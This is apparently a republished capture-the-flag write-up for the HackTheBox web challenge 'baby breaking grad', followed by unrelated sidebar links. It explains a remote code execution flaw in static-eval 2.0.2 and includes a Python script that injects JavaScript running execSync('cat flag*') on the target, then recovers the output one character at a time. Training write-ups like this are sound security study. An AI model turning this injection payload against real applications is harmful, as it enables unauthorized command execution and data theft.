当前位置:网站首页>HackTheBox-baby breaking grad
HackTheBox-baby breaking grad
2022-07-04 00:58:00 【galaxy3000】
List of articles
summary
HackTheBox Website CTF shooting range Web Related topics baby breaking grad, Title address https://app.hackthebox.com/challenges/baby-breaking-grad, Main investigation AST Injected knowledge points .

subject
Title Overview
After opening the program instance , Prompt to visit 209.97.187.217:32476, visit http://209.97.187.217:32476, See the following Web Interface

Directly select a submission to get 
Download the attachment and extract it to get 
Source code
stay routes In the catalog index.js in , Including different url Treatment method 
It involves StudentHelper.js, Corresponding source code 
StudentHelper.js Yes static-eval and esprima, stay package.json See their version in 
Their thinking
You can see static-eval by 2.0.2, There is RCE Loophole , For details, please refer to https://github.com/advisories/GHSA-8v27-2fg9-7h62

Solution code
import string
import requests
url = 'http://209.97.187.217:32476/api/calculate'
flag = ''
for i, _ in enumerate(iter(bool, True)):
for chr in string.printable:
payload = "(function (x) { return `${eval(\"if(global.process.mainModule.constructor._load('child_process').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")}` })()"
data = {"name": "AAA", "formula": payload}
r = requests.post(url, json=data)
if('Passed' in r.content):
flag += chr
print(flag)
if(chr == '}'):
quit()
break
Run code , obtain flag
边栏推荐
- On the day when 28K joined Huawei testing post, I cried: everything I have done in these five months is worth it
- 技術實踐|線上故障分析及解决方法(上)
- Understanding of Radix
- 求esp32C3板子连接mssql方法
- OS interrupt mechanism and interrupt handler
- Gauss elimination method and template code
- Sequence list and linked list
- A-Frame虚拟现实开发入门
- [software testing] you haven't mastered these real interview questions of big companies?
- From functional testing to automated testing, how did I successfully transform my salary to 15K +?
猜你喜欢

长文综述:大脑中的熵、自由能、对称性和动力学

Sorry, Tencent I also refused

The FISCO bcos console calls the contract and reports an error does not exist

Technical practice online fault analysis and solutions (Part 1)

Windos10 reinstallation system tutorial

机器学习基础:用 Lasso 做特征选择

技術實踐|線上故障分析及解决方法(上)

How to set the response description information when the response parameter in swagger is Boolean or integer
![CesiumJS 2022^ 源码解读[8] - 资源封装与多线程](/img/d2/99932660298b4a4cddd7e5e69faca1.png)
CesiumJS 2022^ 源码解读[8] - 资源封装与多线程

Generic
随机推荐
Data mining vs Machine Learning: what is the difference between them? Which is more suitable for you to learn
技术实践|线上故障分析及解决方法(上)
CesiumJS 2022^ 源码解读[8] - 资源封装与多线程
Global and Chinese market of melting furnaces 2022-2028: Research Report on technology, participants, trends, market size and share
Employees' turnover intention is under the control of the company. After the dispute, the monitoring system developer quietly removed the relevant services
Generic
Release and visualization of related data
不得不会的Oracle数据库知识点(四)
Long article review: entropy, free energy, symmetry and dynamics in the brain
mysql使用视图报错,EXPLAIN/SHOW can not be issued; lacking privileges for underlying table
Gauss elimination method and template code
基于.NetCore开发博客项目 StarBlog - (14) 实现主题切换功能
查询效率提升10倍!3种优化方案,帮你解决MySQL深分页问题
Fundamentals of machine learning: feature selection with lasso
What insurance products should be bought for the elderly?
Global and Chinese market of breast cancer imaging 2022-2028: Research Report on technology, participants, trends, market size and share
Weekly open source project recommendation plan
[error record] configure NDK header file path in Visual Studio
Unity Shader入门精要读书笔记 第三章 Unity Shader基础
长文综述:大脑中的熵、自由能、对称性和动力学